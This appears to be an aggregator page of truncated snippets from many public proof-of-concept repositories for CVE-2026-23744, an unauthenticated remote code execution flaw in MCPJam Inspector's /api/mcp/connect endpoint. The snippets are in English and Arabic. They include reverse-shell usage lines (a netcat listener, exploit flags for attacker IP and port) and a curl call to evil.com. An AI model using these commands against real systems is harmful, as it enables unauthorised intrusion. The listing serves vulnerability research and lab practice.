CVE-2026-23744-PoC

Description MCPJam inspector is the local-first development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Sinc...

MCPJam Inspector - Remote Code Execution

MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...

PoC-CVE-2026-23744

PoC-CVE-2026-23744 تنفيذ الأوامر عن بُعد في MCPJam Inspector المرجع https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6...

CVE-2026-23744-Remote-Code-Execution-POC

CVE-2026-23744 - MCPJam inspector تنفيذ التعليمات البرمجية عن بُعد: إثبات المفهوم POC يحتوي MCPJam inspector 3. شغّل الاستغلال python3 exploit.py...

CVE-2026-23744-Lab

CVE-2026-23744 – مختبر Docker لمفتش MCPJam هذا المستودع عبارة عن مختبر Docker صغير لمقارنة البناء الثغري مقابل البناء المُصحح لمفتش MCPJam لثغرة CVE-2026-23744. وهو مخصص للتعلم ولبناء محفظة أمنية عامة: إعداد سريع، وأدلة واضحة، ولقطات شاشة. ⚠️ الأخلاقيات / النطاق : اختبر فقط على الأنظمة التي تملكها...

exploit-CVE-2026-23744

استغلال CVE-2026-23744 MCPJam Inspector هي منصة تطوير محلية أولاً لخوادم MCP. في الإصدارات 1.4.2 وما قبلها، يوجد ثغرة تنفيذ كود عن بُعد RCE تتيح للمهاجمين إرسال طلب HTTP مُصمم خصيصًا يقوم بتثبيت خادم MCP وتشغيل الكود عن بُعد، لأن الخدمة تستمع على العنوان 0.0.0.0 بدلاً من 127.0.0.1 افتراضيًا...

mcpjaminspector-unauth-rce

mcpjaminspector-unauth-rce CVE-2026-23744 ثغرة تنفيذ الأوامر عن بُعد RCE في MCPJam inspector الإصدار = 1.4.2 تفاصيل الثغرة https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 الاستخدام usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h,...

CVE-2026-23744-POC

الوصف توجد هذه الثغرة لأن MCPJam Inspector يعرض نقاط نهاية API داخلية مخصصة لتصحيح الأخطاء والتطوير. تقبل هذه النقاط مدخلات يتحكم فيها المستخدم وتمررها مباشرة إلى تنفيذ العمليات على مستوى النظام دون تحقق أو تنقية مناسبة. من خلال إرسال طلب مصمم بعناية إلى نقطة النهاية المعرضة للخطر /api/mcp/connec...

CVE-2026-23744

CVE-2026-23744 – إثبات المفهوم يقوم سكربت بايثون في إثبات المفهوم هذا بإرسال طلب HTTP بسيط إلى المضيف الهدف الذي يشغّل MCPJam inspector الإصدار استبدل بمنفذ الاستماع الخاص بك ثم، افتح طرفية أخرى، وقم بتشغيل إثبات المفهوم: cd CVE-2026-23744 python3 exploit.py المراجع تنفيذ الأوامر عن بُعد RCE في...

CVE-2026-23744

CVE-2026-23744 استغلال لـ MCPJam Inspector ثبّت المكتبات باستخدام: pip install -r requirements.txt - استخدم python CVE-2026-23744 --help للحصول على المعلومات MCPJam inspector هي منصة تطوير محلية أولاً لخوادم MCP. الإصدارات الأحدث 1.4.2 والإصدارات الأقدم معرضة لثغرة تنفيذ التعليمات البرمجية عن بُع...

CVE-2026-23744-script

نص برمجي لـ CVE-2026-23744، والذي يستغل MCPJam Inspector الإصدارات = 1.4.2. مبني على أمر curl المستخدم هنا: https://github.com/advisories/GHSA-232v-j27c-5pp6 تأكد من أن ملف /etc/hosts لديك صحيح ويشير إلى النطاق/الاستضافة الافتراضية للهدف...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE MCPJam Inspector -i -p -m Flag| Description| Default ---|---|--- -u| Target URL| required -i| Your listener IP LHOST| required -p| Your listener port LPORT| required -m| Payload method: busybox, bash, python3| busybox Reverse Shell Example Ste...

cve-2026-23744

CVE-2026-23744 – MCPJam Inspector Unauthenticated Remote Code Execution RCE Description Product : MCPJam Inspector Affected versions : ≤ 1.4.2 Fixed version : 1.4.3 Type : Unauthenticated Remote Code Execution RCE Attack vector : Network Authentication required : No User interaction required : No...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

on kali linux - terminal 1 nc -lvnp 4444 on kali linux - terminal 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

Exploit for Missing Authentication for Critical Function in Mcpjam Inspector

CVE-2026-...

CVE-2026-23744

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE Unauthenticated remote code execution PoC for CVE-2026-23744. MCPJam Inspector 1.4.2 and earlier expose functionality through /api/mcp/connect that can launch an attacker-controlled MCP server command without authentication. For authorized...

CVE-2026-23744-MCPJAM-RCE-exploit

CVE-2026-23744-MCPJAM-RCE-exploit This Python proof-of-concept targets a vulnerable MCP Model Context Protocol service exposed by the target application. The vulnerability allows an attacker to supply arbitrary server configuration parameters through the /api/mcp/connect endpoint. Affected Endpoi...

DevHub-HTB-Walkthrough

DevHub – HTB Walkthrough Medium Linux Machine: DevHub Difficulty: Medium OS: Linux Topics: CVE-2026-23744, Chisel Tunneling, Jupyter, Flask API, Root Privilege Escalation 📌 1. Reconnaissance nmap -sC -sV devhub.htb Result: Port 22 SSH Port 80 HTTP Port 6274 MCPJam Inspector 📌 2. Edit Hosts File...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC about vulnerability in MCP Server. automated for the part of the post with the correct body. vulnerable path: /api/mcp/connect method via curl: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

CVE-2026-23744

CVE-2026-23744 Description MCPJam inspector is a local-first development platform for MCP servers. The versions =1.4.2 are vulnerable to remote code execution vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Fo...